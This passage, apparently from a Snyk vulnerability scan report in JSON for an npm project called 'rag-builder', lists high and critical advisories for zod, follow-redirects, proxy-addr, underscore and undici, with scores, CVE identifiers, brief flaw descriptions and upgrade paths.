"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-02T01:14:58.272283Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-15T06:10:12.646580Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T06:10:12.924091Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:10:12.924091Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-02T01:14:58.272283Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:10:12.646580Z"
}
],
"description": "## Overview\n[zod](https://www.npmjs.org/package/zod) is a TypeScript-first schema declaration and validation library with static type inference\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `handleArrayResult` parse logic in `$ZodArray`, which accumulates every validation issue for each failing element in a large array with no cap or early termination. An attacker can submit a large array to an application using an array schema without a length constraint, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.\n## Remediation\nUpgrade `zod` to version 4.6.6 or higher.\n## References\n- [GitHub Commit](https://github.com/colinhacks/zod/commit/a0ebf970f2d752e5f58527cd2942ff48be4f46bd)\n- [GitHub Issue](https://github.com/colinhacks/zod/issues/1872)\n- [GitHub Issue](https://github.com/colinhacks/zod/issues/6643)\n- [GitHub PR](https://github.com/colinhacks/zod/pull/6652)\n",
"epssDetails": {
"percentile": "0.26981",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2023-54404"
],
"CWE": [
"CWE-770"
]
},
"packageName": "zod",
"proprietary": false,
"creationTime": "2026-10-05T09:27:47.556871Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-01T18:19:14Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-05T09:27:47.722784Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T06:10:12.924091Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/openai@0.6.13",
"zod@3.25.76"
],
"upgradePath": [
false,
"@langchain/openai@1.0.0",
"zod@4.6.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "zod",
"version": "3.25.76"
}
],
"ok": false,
"dependencyCount": 249,
"org": "sean.graham",
"policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n",
"isPrivate": true,
"licensesPolicy": {
"severities": {},
"orgLicenseRules": {
"AGPL-1.0": {
"licenseType": "AGPL-1.0",
"severity": "high",
"instructions": ""
},
"AGPL-3.0": {
"licenseType": "AGPL-3.0",
"severity": "high",
"instructions": ""
},
"Artistic-1.0": {
"licenseType": "Artistic-1.0",
"severity": "medium",
"instructions": ""
},
"Artistic-2.0": {
"licenseType": "Artistic-2.0",
"severity": "medium",
"instructions": ""
},
"CDDL-1.0": {
"licenseType": "CDDL-1.0",
"severity": "medium",
"instructions": ""
},
"CPOL-1.02": {
"licenseType": "CPOL-1.02",
"severity": "high",
"instructions": ""
},
"EPL-1.0": {
"licenseType": "EPL-1.0",
"severity": "medium",
"instructions": ""
},
"GPL-2.0": {
"licenseType": "GPL-2.0",
"severity": "high",
"instructions": ""
},
"GPL-3.0": {
"licenseType": "GPL-3.0",
"severity": "high",
"instructions": ""
},
"LGPL-2.0": {
"licenseType": "LGPL-2.0",
"severity": "medium",
"instructions": ""
},
"LGPL-2.1": {
"licenseType": "LGPL-2.1",
"severity": "medium",
"instructions": ""
},
"LGPL-3.0": {
"licenseType": "LGPL-3.0",
"severity": "medium",
"instructions": ""
},
"MPL-1.1": {
"licenseType": "MPL-1.1",
"severity": "medium",
"instructions": ""
},
"MPL-2.0": {
"licenseType": "MPL-2.0",
"severity": "medium",
"instructions": ""
},
"MS-RL": {
"licenseType": "MS-RL",
"severity": "medium",
"instructions": ""
},
"SimPL-2.0": {
"licenseType": "SimPL-2.0",
"severity": "high",
"instructions": ""
}
}
},
"packageManager": "npm",
"ignoreSettings": {
"adminOnly": false,
"reasonRequired": false,
"disregardFilesystemIgnores": false,
"autoApproveIgnores": false,
"approvalWorkflowEnabled": false
},
"docker": {},
"summary": "95 high or critical severity vulnerable dependency paths",
"severityThreshold": "high",
"remediation": {
"unresolved": [
{
"id": "SNYK-JS-FOLLOWREDIRECTS-16032162",
"title": "Improper Removal of Sensitive Information Before Storage or Transfer",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Dennis Sepede"
],
"semver": {
"vulnerable": [
"<1.16.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.16.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "follow-redirects",
"references": [
{
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-24T02:21:59.048624Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-31T05:27:32.275260Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:28.334518Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:28.334518Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-24T02:21:59.048624Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-31T05:27:32.275260Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.\n## Remediation\nUpgrade `follow-redirects` to version 1.16.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653)\n- [GitHub Commit](https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9)\n",
"epssDetails": {
"percentile": "0.55384",
"probability": "0.00820",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-40895"
],
"CWE": [
"CWE-212"
],
"GHSA": [
"GHSA-r4q5-vmmm-2653"
]
},
"packageName": "follow-redirects",
"proprietary": false,
"creationTime": "2026-04-14T09:16:01.424796Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-14T01:11:11Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-14T09:16:01.644120Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:28.334518Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"axios@1.12.2",
"follow-redirects@1.15.11"
],
"upgradePath": [
false,
"axios@1.12.2",
"follow-redirects@1.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "follow-redirects",
"version": "1.15.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-PROXYADDR-19812342",
"title": "User Impersonation",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"kagebunsher"
],
"semver": {
"vulnerable": [
">=1.1.0 <2.0.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "proxy-addr",
"references": [
{
"url": "https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.3,
"cvssVersion": "4.0",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to User Impersonation in its subnet matching logic, where an IPv4-mapped IPv6 trust entry with a short prefix such as `::ffff:10.0.0.0/8` compiles with all-zero leading bits and matches every address rather than the intended block. An attacker can control the value returned by `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, by sending an arbitrary `X-Forwarded-For` header, since every client is then trusted as a proxy at hop 0, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This requires the application to configure its trust list with an IPv4-mapped IPv6 subnet using a short prefix, or any IPv6 subnet with zero leading bits such as `::/1`, and the misconfiguration compiles without error.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by expressing trust subnets in plain IPv4 notation, such as `10.0.0.0/8`, or where IPv4-mapped IPv6 notation is required, by using a prefix long enough to cover the mapped marker, such as `::ffff:10.0.0.0/104`.\n## Remediation\nUpgrade `proxy-addr` to version 2.0.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h)\n- [GitHub Commit](https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965)\n",
"epssDetails": {
"percentile": "0.23628",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-90711"
],
"CWE": [
"CWE-290"
],
"GHSA": [
"GHSA-jqcg-44mw-7w3h"
]
},
"packageName": "proxy-addr",
"proprietary": false,
"creationTime": "2026-09-15T08:22:56.328403Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-15T07:14:51Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-15T08:22:56.519310Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T05:38:39.278167Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"proxy-addr@2.0.7"
],
"upgradePath": [
false,
"express@4.21.2",
"proxy-addr@2.0.8"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "proxy-addr",
"version": "2.0.7",
"severityWithCritical": "critical"
},
{
"id": "SNYK-JS-UNDERSCORE-15369786",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<1.13.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.13.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "underscore",
"references": [
{
"url": "https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/issues/3011",
"title": "GitHub Issue"
},
{
"url": "https://underscorejs.org/%231.13.8",
"title": "Release Notes"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"description": "## Overview\n[underscore](https://www.npmjs.org/package/underscore) is a JavaScript's functional programming helper library.\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion through the `_.flatten()` or `_.isEqual()` functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the `_.flatten()` function.\n## Remediation\nUpgrade `underscore` to version 1.13.8 or higher.\n## References\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4)\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84)\n- [GitHub Issue](https://github.com/jashkenas/underscore/issues/3011)\n- [Release Notes](https://underscorejs.org/#1.13.8)\n",
"epssDetails": {
"percentile": "0.62202",
"probability": "0.01025",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-27601"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qpx9-hpmf-5gmw"
]
},
"packageName": "underscore",
"proprietary": false,
"creationTime": "2026-03-03T19:22:56.151818Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-03T17:46:06Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-03T19:22:56.337552Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-30T14:04:31.525835Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"lop@0.4.2",
"duck@0.1.12",
"underscore@1.13.7"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"lop@0.4.2",
"duck@0.1.12",
"underscore@1.13.8"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "underscore",
"version": "1.13.7",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-15518064",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=6.0.0 <6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3537648",
"title": "HackerOne Report"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447145",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in the ByteParser when handling a specially crafted WebSocket frame with an extremely large 64-bit length. An attacker can cause the process to terminate unexpectedly by sending such a frame, resulting in a fatal TypeError and service disruption.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89)\n- [HackerOne Report](https://hackerone.com/reports/3537648)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2447145)\n",
"epssDetails": {
"percentile": "0.40735",
"probability": "0.00497",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1528"
],
"CWE": [
"CWE-248"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:17:00.403364Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T20:21:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:17:00.628005Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.863857Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-15518068",
"title": "Improper Handling of Highly Compressed Data (Data Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3481206",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the `PerMessageDeflate.decompress()` method of the permessage-deflate extension. An attacker can cause excessive memory usage by sending specially crafted compressed WebSocket frames that decompress to a very large size, potentially leading to process crashes or unresponsiveness.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa)\n- [HackerOne Report](https://hackerone.com/reports/3481206)\n",
"epssDetails": {
"percentile": "0.66482",
"probability": "0.01170",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1526"
],
"CWE": [
"CWE-409"
],
"GHSA": [
"GHSA-vrm6-8vpv-qv8q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:25:35.979418Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:09Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:25:36.181466Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.693149Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-15518070",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3487486",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception through improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. An attacker can cause the process to terminate unexpectedly by sending a maliciously crafted value outside the valid range, which triggers an unhandled exception when the client attempts to create a zlib InflateRaw instance.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0)\n- [HackerOne Report](https://hackerone.com/reports/3487486)\n",
"epssDetails": {
"percentile": "0.58151",
"probability": "0.00890",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-2229"
],
"CWE": [
"CWE-248"
],
"GHSA": [
